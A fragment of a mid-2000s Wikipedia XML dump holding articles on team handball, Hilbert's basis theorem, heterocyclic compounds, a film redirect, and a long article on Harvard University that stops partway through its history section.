Conversely, if the attacker is at fault the possession of the ball can be awarded to the defending team. Players may also cause the possession to be lost if they make more than three steps per one bounce of the ball off the floor.

The usual formations of the defense are the so-called 6-0, when all the defense players are within the 6 meter and 9 meter lines; the 5-1, when one of the players cruises outside the 9 meter perimeter, usually targeting the center forwards; and the least common 4-2 when there are two such defenders. The usual attacking formation includes two wingmen, a center-left and a center-right which usually excel at high jumps and shooting over the defenders, and two centers, one of which tends to intermingle with the defense (somewhat similar to the hole set (anchor) in [[water polo]]), disrupting the defense formation, and the other being the playmaker (similar to basketball).

==History==
Team handball has origins reaching as far back as the [[Classical antiquity|antiquity]]: ''urania'' in [[ancient Greece]], ''harpaston'' in [[ancient Rome]], ''fangballspiel'' in medieval [[Germany]], etc. There are also records of handball-like games in medieval [[France]], and among the [[Inuit]]s on [[Greenland]], in the [[Middle Ages]]. By the 19th century, there existed similar games of ''haandbold'' from [[Denmark]], ''hazena'' in [[Bohemia]] and [[Slovakia]], ''gandbol'' in [[Ukraine]], ''torball'' in [[Germany]], as well as versions in [[Ireland]] and [[Uruguay]].

The team handball game as we know it today was formed by the end of the [[19th century]] in northern [[Europe]], primarily [[Denmark]], [[Germany]] and [[Sweden]]. The Dane Holger Nielsen drew up rules for a handball game (''håndbold'') in [[1898]] (and published them in [[1906]]), and R.N. Ernst did something similar in [[1897]].

The first set of team handball rules was published on [[October 29]], [[1917]] by Max Heiser, Karl Schelenz and Erich Konigh from Germany. After [[1919]] these rules were further improved by Karl Schelenz. The first international games were played under these rules, between Germany and Belgium for men in [[1925]] and Germany and Austria for women in [[1930]].

In [[1926]], the Congress of the International Amateur Athletics Federation nominated a committee to draw up international rules for field handball. The International Amateur Handball Federation was formed in [[1928]]. The International Handball Federation was formed later in [[1946]]

Men's field handball was played at the [[1936 Summer Olympics]] in [[Berlin]] at the special request of [[Adolf Hitler]]. It was removed from the list of sports, to return as team handball in [[1972]] for the [[1972 Summer Olympics]] in [[Munich]]. Women's team handball was added as an Olympic discipline in [[1976]], at the [[1976 Summer Olympics]].

The International Handball Federation has organized Men's World Championships in 1938, and then every two, three or sometimes four years since the [[World War II]]. The Women's World Championships have been played since [[1957]]. The IHF also organizes Women's and Men's Junior World Championships.

The IHF reports to have 150 member federations representing approximately 800,000 teams and more than nearly 19 million sportsmen and women.

==International tournaments==

* [[Handball at the Summer Olympics]]
* [[World Men's Handball Championship]]
* [[World Women's Handball Championship]]
* [[European Men's Handball Championship]]
* [[European Women's Handball Championship]]
* [http://www.usateamhandballwomen.com/Competition/usacup.html USA Cup Women's International Tournament]

==External links==
* [http://www.ihf.info/ International Handball Federation] 
* [http://www.national-handball-teams.com/ National Handball Teams]

[[Category:Team handball|*]]
[[Category:Ball games]]
[[Category:Team sports]]
[[Category:Olympic sports]]

&lt;!-- interwiki --&gt;

[[ar:كرة يد]]
[[ca:Handbol]]
[[da:Håndbold]]
[[de:Handball]]
[[et:Käsipall]]
[[es:Balonmano]]
[[eo:Manpilko]]
[[fr:Handball]]
[[ko:핸드볼]]
[[hr:Rukomet]]
[[it:Pallamano]]
[[he:כדוריד]]
[[lb:Handball]]
[[nl:Handbal]]
[[ja:ハンドボール]]
[[no:Håndball]]
[[pl:Piłka ręczna]]
[[ru:Гандбол]]
[[sk:Hádzaná]]
[[sl:Rokomet]]
[[fi:Käsipallo]]
[[sv:Handboll]]
[[tr:Hentbol]]
[[zh:手球]]</text>
    </revision>
  </page>
  <page>
    <title>Hilbert's basis theorem</title>
    <id>13733</id>
    <revision>
      <id>27585905</id>
      <timestamp>2005-11-07T03:13:49Z</timestamp>
      <contributor>
        <username>BeteNoir</username>
        <id>442726</id>
      </contributor>
      <minor />
      <comment>Refined categorization</comment>
      <text xml:space="preserve">In [[mathematics]], '''Hilbert's basis theorem''', first proved by [[David Hilbert]] in [[1888]], states that, if ''k'' is a [[field (mathematics)|field]], then every [[Ideal (ring theory)|ideal]] in the [[ring (algebra)|ring]] of multivariate [[polynomial|polynomials]] ''k''[''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''n''&lt;/sub&gt;] is [[finitely generated module|finitely generated]]. This can be translated into [[algebraic geometry]] as follows: every [[algebraic variety|variety]] over ''k'' can be described as the set of common roots of finitely many polynomial equations.

Hilbert produced an innovative proof by contradiction using [[mathematical induction]]; his method does not give an [[algorithm]] to produce the finitely many basis polynomials for a given ideal: it only shows that they must exist. One can determine basis polynomials using the method of [[Gröbner basis|Gröbner bases]].

A slightly more general statement of Hilbert's basis theorem is: if ''R'' is a left (respectively right) [[Noetherian ring]], then the [[polynomial ring]] ''R''[''X''] is also left (respectively right) Noetherian. 

The [[Mizar system|Mizar project]] has completely formalized and automatically checked a proof of Hilbert's basis theorem in the [http://www.mizar.org/JFM/Vol12/hilbasis.html HILBASIS file].

==References==

* Cox, Little, and O'Shea, ''Ideals, Varieties, and Algorithms'', Springer-Verlag, 1997.

[[Category:Commutative algebra]]
[[Category:Invariant theory]]
[[Category:Mathematical theorems]]

[[de:Hilbertscher Basissatz]]</text>
    </revision>
  </page>
  <page>
    <title>Heterocyclic compound</title>
    <id>13734</id>
    <revision>
      <id>40496776</id>
      <timestamp>2006-02-21T00:06:12Z</timestamp>
      <contributor>
        <username>V8rik</username>
        <id>195918</id>
      </contributor>
      <comment>update</comment>
      <text xml:space="preserve">[[Image:Pyridine simple structure.png|frame|right|Pyridine a simple heterocyclic compound]]

'''Heterocyclic compounds''' are organic [[compounds]] that contain a ring structure containing atoms in addition to [[carbon]], such as [[sulfur]], [[oxygen]] or [[nitrogen]], as part of the ring. They may be either [[simple aromatic ring]]s or non-aromatic rings. Some examples are [[pyridine]] (C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;N), [[pyrimidine]] (C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;) and [[dioxane]] (C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;).

Note that compounds such as ''[[cyclopropane]]'', an anaesthetic with explosive properties, and ''[[cyclohexane]]'', a solvent, are not heterocyclic, they are merely [[cycloalkanes]]. The suffix '-cyclic' implies a ring structure, while 'hetero' refers to an atom other than carbon, as above.

'''Heterocyclic chemistry''' is the chemistry branch dealing exclusively with synthesis, properties and applications of heterocycles especially vital to [[drug]] design. 

==3-membered rings==
Heterocycles with three atoms in the ring are more reactive because of [[ring strain]].  Those containing one heteroatom are generally stable.  Those with two heteroatoms are more likely to occur as reactive intermediates.  Common 3-membered heterocycles are:
* One N:  [[Aziridine]]
* One O:  [[Ethylene oxide]], generally known as [[epoxide]]s.  The systematic name is oxirane.  The unsaturated ring system is an [[oxirene]] (generally unstable).
* One S:  [[Thiirane]]

==4-membered rings==
* One N:  [[Azetidine]]
* One O:  [[Oxetane]]

==5-membered rings==
With heterocycles containing five atoms, the unsaturated compounds are frequently more stable because of aromaticity.
* One N:  [[Pyrrole]] and dihydro- and tetrahydro-analogues.
* One O:  [[Furan]]
* One S:  [[Thiophene]]
* One N and one or more of N,S,O: the [[azole]]s 

==6-membered rings==
* One N:  [[Pyridine]]
* One O:  [[Pyran]]
* Two N:  [[Pyridazine]] [[Pyrimidine]] and [[Pyrazine]] are the 1,2-, 1,3-, and 1,4-isomers, respectively.


[[Category:Heterocyclic compounds]]

[[ar:حلقة غير متجانسة]]
[[cs:Heterocyklická sloučenina]]
[[de:Heterocyclus]]
[[es:Compuesto heterocíclico]]
[[fr:Hétérocycle]]
[[he:תרכובת הטרוציקלית]]
[[ja:複素環式化合物]]
[[pl:Związek heterocykliczny]]
[[ru:Гетероциклические соединения]]
[[sk:Heterocyklická zlúčenina]]
[[zh:杂环化合物]]</text>
    </revision>
  </page>
  <page>
    <title>Heat film</title>
    <id>13735</id>
    <revision>
      <id>24821129</id>
      <timestamp>2005-10-05T16:27:38Z</timestamp>
      <contributor>
        <username>Reedy Boy</username>
        <id>449918</id>
      </contributor>
      <minor />
      <comment>updated redirect</comment>
      <text xml:space="preserve">#redirect [[Heat (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Harvard University</title>
    <id>13736</id>
    <revision>
      <id>42016035</id>
      <timestamp>2006-03-03T06:00:41Z</timestamp>
      <contributor>
        <username>Harro5</username>
        <id>211795</id>
      </contributor>
      <comment>rm self-promoting paragraph to avoid another long war about it.</comment>
      <text xml:space="preserve">:''&quot;Harvard&quot; redirects here. For other uses of the name Harvard, see [[Harvard (disambiguation)]].''
{{Infobox_University 
|name           = Harvard University 
|image          = [[Image:Harvard shield.png|125px|Shield of Harvard University]] 
|motto          = Veritas (''Truth'') 
|established    = [[September 8]], [[1636]] 
|type           = [[Private school|Private]] 
|president      = [[Lawrence H. Summers]] (announced resignation effective June 30, 2006)
|city           = [[Cambridge, Massachusetts|Cambridge]] 
|state          = [[Massachusetts|Mass.]] 
|country        = [[United States|USA]] 
|undergrad      = 6,655 
|postgrad       = 13,000 
|staff= 2,300 
|campus         = [[urban area | Urban]], 380 [[acre]]s/154 [[hectare|ha]] 
|mascot         = [[John Harvard (clergyman)|John Harvard]] [[Image:Harvard university john mascot.jpg|30px|]] 
|free_label     = Athletics 
|free           = 41 varsity teams 
|website= [http://www.harvard.edu/ www.harvard.edu] 
|endowment= US$25.9 [[billion]]
}}
'''Harvard University''' is a [[private university]] in [[Cambridge, Massachusetts|Cambridge]], [[Massachusetts]], [[United States|USA]] and a member of the [[Ivy League]]. 

Harvard was founded on [[September 8]], [[1636]], by a vote of the Great and General Court of the [[Massachusetts Bay Colony]], making it the [[Colonial colleges|oldest institution]] of [[higher education]] in the [[United States]]. Originally referred to simply as ''the New College'', it was named ''Harvard College'' on [[March 13]], [[1639]], after its first principal donor, a young clergyman named [[John Harvard (clergyman)|John Harvard]]. A graduate of [[Emmanuel College, Cambridge]], John Harvard bequeathed a few hundred books in his will to form the basis of the college library collection, along with several hundred [[pound sterling|pounds]]. The earliest known official reference to Harvard as a &quot;[[university]]&quot; rather than a &quot;[[college]]&quot; occurred in the new [[Massachusetts Constitution]] of 1780. 

In his 1869-1909 tenure as Harvard president, [[Charles William Eliot]] radically transformed Harvard into the pattern of the modern research university. Eliot's reforms included elective courses, small classes, and entrance examinations. The Harvard model influenced American education nationally, at both college and secondary levels.

In 2000, [[Radcliffe College]], initially founded as the &quot;Harvard Annex&quot; for women, merged formally with Harvard University, becoming the Radcliffe Institute for Advanced Study.[http://www.fas.harvard.edu/~fdo/publications/0203/parents.html#history]

Harvard has the world's largest university [[library]] collection (third largest library overall after the [[British Library]] and the [[Library of Congress]]), and the [[ List_of_US_colleges_and_universities_by_endowment |largest]] [[financial endowment]] of any academic institution, standing at $25.9 billion as of 2005.

== Institution ==
[[Image:John Harvard, statue at Harvard University.JPG|right|200px|thumb|The [[John Harvard (clergyman)|John Harvard]] statue in [[Harvard Yard]] is a frequent target of pranks, hacks, and humorous decorations, such as the colorful  [[Lei (Hawaii)|lei]] shown above.]]
A faculty of about 2,300 professors serves about 6,650 undergraduate and 13,000 graduate students. The school color is [[crimson]], which is also the name of the Harvard sports teams and the daily [[newspaper]], ''[[The Harvard Crimson]]''. The color was unofficially adopted (in preference to [[magenta]]) by an 1875 vote of the student body, although the association with some form of red can be traced back to 1858, when [[Charles William Eliot]], a young graduate student who would later become Harvard's president, bought red bandannas for his crew so they could more easily be distinguished by spectators at a regatta.

Prominent student organizations at Harvard include the aforementioned ''Crimson''; the ''[[the Harvard Advocate|Harvard Advocate]]'', one of the nation's oldest literary magazines and the oldest current publication at Harvard; the ''[[Harvard Lampoon]]'', a [[humor]] magazine; and the [[Hasty Pudding Theatricals]], which produces an annual burlesque and celebrates notable actors at its [[Hasty Pudding Man of the Year|Man of the Year]] and [[Hasty Pudding Woman of the Year|Woman of the Year]] ceremonies; and the [[Harvard Glee Club]], the oldest college chorus in America.  The [[Harvard-Radcliffe Orchestra]], composed mainly of undergraduates, was founded in 1808 as the Pierian Sodality and has been performing as a symphony orchestra since the 1950s.

Harvard College has traditionally drawn many of its students from private schools, though today the majority of undergraduates come from public schools across the United States and around the globe. 

&lt;!-- Unsourced image removed: [[Image:SandersTheater.jpg|thumb|left|199px|[[Sanders Theater]], a concert and lecture hall, located in the apse of Harvard's Memorial Hall]] --&gt;
Harvard has a friendly rivalry with the [[Massachusetts Institute of Technology]] which dates back to 1900, when a merger of the two schools was frequently mooted and at one point officially agreed upon (ultimately canceled by Massachusetts courts). Today, the two schools cooperate as much as they compete, with many joint conferences and programs, including the Division of Health Sciences and Technology, the Harvard-MIT Data Center and the Dibner Institute for the History of Science and Technology. In addition, students at the two schools can [[cross-registration|cross-register]] in undergraduate classes without any additional fees, for credits toward their own school's degrees. 

Over its history, Harvard has graduated many famous alumni, along with a few infamous ones. Among the best-known are political leaders [[John Hancock]], [[John Adams]], and [[John F. Kennedy]]; philosopher [[Henry David Thoreau]] and author [[Ralph Waldo Emerson]]; poets [[Wallace Stevens]], [[T. S. Eliot]] and [[E. E. Cummings]]; composer [[Leonard Bernstein]]; actor [[Jack Lemmon]]; architect [[Philip Johnson]], and civil rights leader [[W. E. B. Du Bois]]. Among its most famous faculty members are biologists [[James D. Watson]] and [[E. O. Wilson]].

Harvard affiliates' politics are generally [[Liberalism in the United States|liberal]] (center-left): [[Richard Nixon]] famously attacked it as the &quot;[[Moscow Kremlin|Kremlin]] on the [[Charles River|Charles]]&quot;. In [[2004 US presidential election|2004]], the ''[[Harvard Crimson]]'' found that Harvard undergraduates favored [[John Kerry|Kerry]] over [[George W. Bush|Bush]] by 73% to 19%, consistent with Kerry's margin in major eastern cities such as Boston and New York City.{{ref|uselection2004}} 
At the same time, Harvard has been criticized as the &quot;incubator for an American ruling class&quot; ([[#Douthat|Douthat]])
and &quot;hostile to progressive intellectuals&quot;. ([[#Trumpbour|Trumpbour]]) President [[George W. Bush]], in fact, graduated from the [[Harvard Business School]].  Indeed, there are both prominent conservative and prominent liberal voices among the faculty of the various schools, such as [[Greg Mankiw]] and [[Alan Dershowitz]].

===Admissions===

Harvard's overall undergraduate acceptance rate for 2005 was 9.1%.{{ref|acceptancerate}}, making it one of the most competitive universities in the country. The 2006 figures from [[US News and World Report]] indicated that the business school admitted 14.3% of its [[college application|applicants]], the engineering division admitted 12.5%, the law school admitted 11.3%, the education school admitted 11.2%, and the medical school admitted 4.9%.{{ref|usnews}}

===Organization===

Harvard is governed by two boards, the [[President and Fellows of Harvard College]], also known as the Harvard Corporation and founded in 1650, and the [[Harvard Board of Overseers]]. The [[President of Harvard University]] is the day-to-day administrator of Harvard and is appointed and to responsible to the Harvard Corporation. 

Harvard today has nine faculties, listed below in order of foundation:
[[Image:HarvardYard.jpg|right|thumb|300px|Harvard Yard with freshman dorms in the background]]
*The [[Harvard Faculty of Arts and Sciences | Faculty of Arts and Sciences]] and its sub-faculty, the [[Harvard Division of Engineering and Applied Sciences|Division of Engineering and Applied Sciences]], which together serve:
**[[Harvard College]], the University's undergraduate portion (1636)
**The [[Harvard Graduate School of Arts and Sciences|Graduate School of Arts and Sciences]] (organized 1872)
**The [[Harvard Division of Continuing Education]], including [[Harvard Extension School]] and [[Harvard Summer School]]
*The Faculty of Medicine, including the [[Harvard Medical School|Medical School]] (1782) and the [[Harvard School of Dental Medicine]] (1867).
*[[Harvard Divinity School]] (1816)
*[[Harvard Law School]] (1817)
*[[Harvard Business School]] (1908)
*The [[Harvard Graduate School of Design|Graduate School of Design]] (1914)
*The [[Harvard Graduate School of Education|Graduate School of Education]] (1920)
*The [[Harvard School of Public Health|School of Public Health]] (1922)
*The [[Kennedy School of Government|John F. Kennedy School of Government]] (1936)
In 1999, the former [[Radcliffe College]] was reorganized as the [[Radcliffe Institute for Advanced Study]].

===Sports and athletic facilities===
[[Image:Harvard Stadium.jpg|thumb|200px|left|[[Harvard Stadium]]]]
Harvard's athletic rivalry with [[Yale University|Yale]] is intense in every sport in which they meet, coming to a climax in their annual football meeting, which dates to 1875 and is usually called simply ''[[The Game (college football) | The Game]]''. Harvard has won The Game for the past five years running.  While Harvard's [[American football|football]] team is no longer one of the country's best (it won the [[Rose Bowl Game|Rose Bowl]] in 1920) as it often was a century ago during football's early days, it, along with [[Yale University|Yale]], has influenced the way the game is played. In 1903, [[Harvard Stadium]] introduced a new era into football with the first-ever permanent reinforced concrete stadium of its kind in the country. The sport eventually adopted the forward pass (invented at [[The University of Chicago]]) because of the stadium's structure.

Today Harvard does field top teams in several other sports, such as [[ice hockey]] (with a strong rivalry against [[Cornell University|Cornell]]), [[Sport rowing|rowing]], and [[squash (sport)|squash]]. But like other Ivy League universities, [[Harvard]] does not offer athletic scholarships. As of 2006, there were 41 Division I intercollegiate [[Varsity team|varsity]] [[sports]] teams for women and men at Harvard, more than at any other NCAA Division I college in the country.

Harvard has several [http://hcs.harvard.edu/~hub/songs/ fight songs], the most played ones, especially at football games, are &quot;Ten Thousand Men of Harvard,&quot; &quot;Fair Harvard,&quot; and &quot;Harvardiana.&quot; 

Harvard has several athletic facilities, such as the [[Lavietes Pavilion]], a multi-purpose arena and home to the Harvard basketball teams. The Malkin Athletic Center, known as the &quot;MAC,&quot; serves both as the University's primary recreation facility and as a satellite location for several varsity sports. The  five story building includes two cardio rooms, an Olympic-size swimming pool, a smaller pool for aquaerobics and other activities, a mezzanine, where all types of classes are held at all hours of the day, and an indoor cycling studio, three weight rooms, and a three-court gym floor to play basketball. The MAC also offers personal trainers and specialty classes. The MAC is also home to Harvard volleyball, fencing, and wrestling. The offices of women's field hockey, lacrosse, soccer, softball, and men's soccer are also in the MAC.

Weld Boathouse and Newell Boathouse house the women's and men's rowing teams, respectively. The Bright Hockey Center hosts the Harvard hockey teams, and the Murr Center serves both as a home for Harvard's squash and tennis teams as well as a strength and conditioning center for all athletic sports. ''For more information on Harvard's sports facitilies, go to [http://gocrimson.collegesports.com/facilities/rec_facilities.html Harvard's official athletics site.]

===Library system and museums===
The Harvard University Library System, centered in [[Widener Library]] in [[Harvard Yard]] and comprising over 90 individual libraries and over 15.3 million volumes, is the largest university library system in the world and, after the [[Library of Congress]], the second-largest library system in the United States. Cabot Library in the Science Center, Lamont Library in Harvard Yard, and Widener Library are three of the most popular libraries for undergraduates to use, with easy access and central locations. Houghton Library is the primary repository for Harvard's rare books and manuscripts. America's oldest collection of maps, gazetteers, and atlases both old and new are stored in Pusey Library and is open to the public.

Harvard operates several art museums, including the [[Fogg Museum of Art]] (with galleries featuring history of Western art from the Middle Ages to the present, with particular strengths in Italian [[Early Renaissance painting|early Renaissance]], British [[pre-Raphaelite]], and 19th-century French art); the [[Adolph Busch Museum]] (formerly Busch-Reisinger Museum, formerly Germanic Museum) (central and northern European art; and a Flentrop pipe organ, familiar from recordings by [[E. Power Biggs]]); the Sackler Museum (ancient, Asian, Islamic and later Indian art); the Museum of Natural History, which contains the famous Blaschka [[Glass Flowers]] exhibit; the Peabody Museum of Archaeology and Ethnology, specializing in the cultural history and civilizations of the Western Hemisphere; and the Semitic Museum.

===Harvard in fiction and popular culture===
[[Love Story]], by Harvard alumnus (and Yale professor) [[Erich Segal]], the much-beloved and also much-ridiculed tearjerker of the 1970s, concerns a romance between a Harvard student and a Radcliffe student. Much local color is in evidence: Mary F. Rogers{{ref|rogers}} notes that in the first two chapters, the narrator refers to Bach, Mozart, the Beatles, Harvard, Radcliffe, Preppie, Comp. Lit. 105, the Renaissance, the ''Crimson,'' Dartmouth, Philips Exeter, Deerfield, Mem Church, Cambridge, and Nate Pusey. 

Though Harvard has been featured in many US films, including ''[[Legally Blonde]]'', ''[[The Firm (film)|The Firm]]'', ''[[The Paper Chase]]'', ''[[Good Will Hunting]]'', ''[[With Honors]]'', ''[[How High]]'', and ''[[Harvard Man]]'', the University has not allowed any movies to be filmed on its campus since ''[[Love Story]]'' in the 1960s; most films are shot in look-alike cities, such as Toronto, and colleges such as [[Wheaton College|Wheaton]] and [[Bridgewater State College|Bridgewater State]] {{ref|Burr}}. Also set in Harvard is [[Korea]]n hit TV series ''[[Love Story in Harvard]]''{{ref|Catalano}}, filmed at [[University of Southern California]].  Many movies have 
characters identified as Harvard graduates, including ''[[A Few Good Men]]'', ''[[American Psycho]]'', and ''[[Two Weeks Notice]]''.

The novel ''[[The Da Vinci Code]]'' has its main character, Robert Langdon, as a Harvard &quot;professor of symbology.&quot; (According to Karen L. King, Harvard professor of Ecclesiastical History, there is no such academic field as symbology.{{ref|king}})

[[Matthew Pearl]]'s 2004 mystery novel ''[[The Dante Club]]'' is set in [[Cambridge, Massachusetts|Cambridge]], 1865 and Harvard professors [[Oliver Wendell Holmes]], [[James Russell Lowell]], and [[Henry Wadsworth Longfellow]] and a shadowy anti-Dante plot involving the Harvard Corporation (which prefer Latin to Italian, and fears contamination by Dante's Papist theology).

In popular culture, &quot;Harvard&quot; can be an archetype for &quot;best college,&quot; as &quot;Cadillac&quot; can be an archetype for luxury, or &quot;Einstein&quot; for intelligence. These archetypes exist, regardless of the literal truth of what they symbolize. Evidence of Harvard's archetypic status is that regionally, any venerable school is likely to be called &quot;the Harvard of&quot; that region; see [[Southern Ivies]] for specific examples of &quot;Harvards of the South.&quot;  (A college guide notes, &quot;Ask a Duke student to compare his beloved school to the Ivy league and you'll hear 'Harvard, the Duke of the North'&quot; {{ref|kaplan}}).

==Overview of the campus==
The main campus is centered around [[Harvard Yard]] in central Cambridge, and extends into the surrounding [[Harvard Square]] neighborhood. The Harvard Business School and many of the university's athletics facilities, including [[Harvard Stadium]], are located in [[Allston, Massachusetts|Allston]], on the other side of the [[Charles River]] from Harvard Square. Harvard Medical School is located in the Longwood district of [[Boston, Massachusetts|Boston]].

[[Harvard Yard]] itself contains the central administrative offices and main [[library|libraries]] of the University, several academic buildings, Memorial Church, and the majority of the [[List of Harvard dormitories|freshman dormitories]]. Sophomores, Juniors, and Seniors live in twelve [[Harvard College#House system|residential Houses]], 9 of which are south of Harvard Yard along or near the [[Charles River]] and 3 of which are located in a residential neigborhood half a mile northwest of the Yard called the [[Quadrangle (Harvard)|Quadrangle]].

===Residential Houses===
[[Image:Tower_in_spring_fade_167.jpg|right|thumb|150px|The blue dome of [[Lowell House]]]]Nearly all students at Harvard College live on campus. First-year students live in the [[List of Harvard dormitories|freshman dormitories]] in or near [[Harvard Yard]]. Upperclass students live mainly in a system of twelve residential &quot;Houses&quot;, which serve as administrative units of the College as well as dormitories. Each House is presided over by a &quot;Master&quot;&amp;mdash;a senior faculty member who is responsible for guiding the social life and community of the House&amp;mdash;and a &quot;[[Allston Burr Senior Tutor|Senior Tutor]]&quot;, who acts as [[dean (education)|dean]] of the students in the House in its administrative role. 

The House system was instituted by [[President of Harvard University|Harvard president]] [[Abbott Lawrence Lowell]] in the 1930s, although the number of Houses, their demographics, and the methods by which students are assigned to particular Houses have all changed drastically since the founding of the system. Funds for the Houses were donated by Edward Harkness, a Yale graduate, who had previously failed to persuade Yale of its merits (but which later adopted a very similar &quot;college&quot; system).  Lowell modeled it on the system of constituent [[college]]s of [[Oxford University|Oxford]] and [[University of Cambridge|Cambridge]], and the Houses borrow terminology from Oxford and Cambridge such as [[Junior Common Room]] (the set of undergraduates affiliated with a House) and [[Senior Common Room]] (the Master, Senior Tutor, and other faculty members, advisors, and graduate students associated with the House). Non-faculty members of the Senior Common Room of a House are given the title &quot;Tutor&quot;.

Nine of the Houses are situated south of Harvard Yard, near the busy commercial district of [[Harvard Square]], along or close to the northern banks of the [[Charles River]], and so are known colloquially as the River Houses. These are:
*[[Adams House (Harvard University)|Adams House]], named for several alumni of that name, including U. S. President [[John Adams]];
*[[Dunster House]], named for Harvard's first President, [[Henry Dunster]];
*[[Eliot House]], named for Harvard President [[Charles William Eliot]];
*[[Kirkland House]], named for Harvard President [[John Thornton Kirkland]];
*[[Leverett House]], named for Harvard President [[John Leverett]];
*[[Lowell House]], said to be named for the Harvard-affiliated [[Lowell family]] in general (but the most obvious reference is to Abbott Lawrence Lowell);
*[[Mather House]], named for Harvard President [[Increase Mather]];
*[[Quincy House]], named for Harvard President (and sometime mayor of [[Boston, Massachusetts|Boston]]) [[Josiah Quincy III]];
*[[Winthrop House]], more officially called ''John Winthrop House'', named for two famous men of that name: [[Massachusetts Bay Colony]] founder [[John Winthrop]] and his great-great-great-grandson [[John Winthrop (1714-1779)|John Winthrop]], 2nd Hollis Professor of Mathematics and Natural Philosophy
[[Image:Pforzheimerhouse.jpeg|right|thumb|300px|The [[Quadrangle (Harvard)|Quad]], looking north toward [[Pforzheimer House]]]]
The remainder of the residential Houses are located around [[Quadrangle (Harvard)|Harvard's Quadrangle]] (or &quot;the Quad&quot;, formerly the &quot;Radcliffe Quadrangle&quot;), in a more [[suburb]]an residential neighborhood half a mile (800 m) northwest of Harvard Yard. These housed [[Radcliffe College]] students until Radcliffe merged its residential system with Harvard. They are:

*[[Cabot House]], previously called ''South House'', renamed in 1983 for Harvard donors [[Thomas Dudley Cabot]] and Virginia Cabot;
*[[Currier House]], named for Radcliffe alumna Audrey Bruce Currier;
*[[Pforzheimer House]], often called ''PfoHo'' for short, previously called ''North House'', renamed in 1995 for Harvard donors Carl and Carol Pforzheimer

There is a thirteenth House, [[Dudley House]] [http://www.fas.harvard.edu/~dudley/], which is nonresidential but fulfills, for some graduate students and off-campus undergraduates (including members of the [http://hcs.harvard.edu/~dudcoop/ Dudley Co-op]) the same administrative and social functions as the residential Houses do for undergraduates who live on campus. It is named after [[Thomas Dudley]], who signed the charter of Harvard College when he was [[Governors of the Massachusetts Bay Colony|Governor of the Massachusetts Bay Colony]].

[[Radcliffe Yard]], the center of the campus of the former Radcliffe College (and now Radcliffe Institute), is west of Harvard Yard, adjacent to the Graduate School of Education.

===Major campus expansion===
Throughout the past several years, Harvard has purchased large tracts of land in [[Allston]], a short walk across the Charles River from Cambridge, with the intent of [http://www.allston.harvard.edu/ major expansion southward]. The university now owns approximately fifty percent more land in Allston than in Cambridge. Various proposals to connect the traditional Cambridge campus with the new Allston campus include new and enlarged bridges, a shuttle service and/or a [[tram]].

One of the foremost driving forces for Harvard's pending expansion is its goal of substantially increasing the scope and strength of its science and technology programs. The university plans to construct two 500,000 square foot (50,000 m&amp;sup2;) research complexes in Allston, which would be home to several interdisciplinary programs, including the [[Harvard Stem Cell Institute]] and an enlarged [[Engineering]] department.

In addition, Harvard intends to relocate the [[Harvard Graduate School of Education]] and the [[Harvard School of Public Health]] to Allston. The university also plans to construct several new undergraduate and graduate student housing centers in Allston, and it is considering large-scale museums and performing arts complexes as well.

==History==
[[Image:Harvard 1740 by William Burgis.jpg|thumb|300px|&quot;A prospect of the colledges in Cambridge in New England&quot;. Engraving by [[William Burgis]] from 1740.]]
Harvard's foundation in 1636 came in the form of an act of the colony's [[Massachusetts General Court | Great and General Court]]. By all accounts the chief impetus was to allow the training of home-grown clergy so the [[Puritan]] colony would not need to rely on immigrating graduates of England's [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]] universities for well-educated pastors, &quot;dreading,&quot; as a 1643 brochure put it, &quot;to leave an illiterate Ministry to the Churches.&quot;  In its first year, seven of the original nine students left to fight in the [[English Civil War]].

Harvard was also founded as a school to educate American Indians in order to train them as ministers among their tribes.  Harvard's Charter of 1650 calls for &quot;the education of the English and Indian youth of this Country in knowledge and godliness&quot;.  Indeed, Harvard and missionaries to the local tribes were intricately connected.  The first Bible to be printed in the entire North American continent was printed at Harvard in an Indian language, Massachusett.  Termed the Eliot Bible since it was translated by John Eliot, this book was used to facilitate conversion of Indians, ideally by Harvard-educated Indians themselves.  Harvard's first American Indian graduate, Caleb Cheeshahteaumuck from the Wampanoag tribe, was a member of the class of 1665.  Caleb and other students-- English and American Indian alike-- lived and studied in a dormitory known as the Indian College, which was founded in 1655 under then-President Charles Chauncy. In 1698 it was torn down owing to neglect. The bricks of the former Indian College were later used to build the first Stoughton Hall.  Today a plaque on the SE side of Matthews Hall in Harvard Yard, the approximate site of the Indian College, commemorates the first American Indian students who lived and studied at Harvard University.  

[[Image:Rhinoceros Sculpture, Biological Sciences Building, Harvard University, Cambridge, Massachusetts.JPG|thumb|left|300px|Rhinoceros sculpture, Biological Sciences Building.]]
The connection to the Puritans can be seen in the fact that, for its first few centuries of existence, the [[Harvard Board of Overseers]] included, along with certain commonwealth officials, the ministers of six local congregations (Boston, Cambridge, Charlestown, Dorchester, Roxbury and Watertown), who today, although no longer so empowered, are still by custom allowed seats on the dais at [[commencement]] exercises.

Despite the Puritan atmosphere, from the beginning the intent was to provide a full [[liberal arts|liberal education]] such as that offered at European universities, including the rudiments of mathematics and science ('natural philosophy') as well as [[the classics | classical]] literature and philosophy. 

During the Revolutionary War, [[George Washington|General Washington]] and the Continental Army quartered in Harvard buildings and organized military exercises in Cambridge Common.

Between 1800 and 1870 a transformation of Harvard occurred which E. Digby Baltzell{{ref|baltzell}} calls &quot;privatization.&quot; Harvard had prosperred while [[Federalist Party|Federalists]] controlled state government, but &quot;in 1824 the federalist party was finally defeated forever in Massachusetts; the triumphant [[Democratic-Republican Party (United States)|Jeffersonian-Republicans]] cut off all state funds.&quot; By 1870, the &quot;magistrates and ministers&quot; on the Board of Overseers had been completely &quot;replaced by Harvard alumni drawn primarily from the ranks of Boston's upper-class business and professional community&quot; and funded by private endowment.

During this period, Harvard experienced unparalleled growth that put it into a different category from other colleges. Ronald Story{{ref|story2}} notes in 1850, Harvard's total assets were &quot;five times that of Amherst and Williams combined, and three times that of Yale.... By 1850, it was a genuine university, 'unequalled in facilities,' as a budding scholar put it by any other institution in America&amp;mdash;the 'greatest University,' said another, 'in all creation.'&quot;

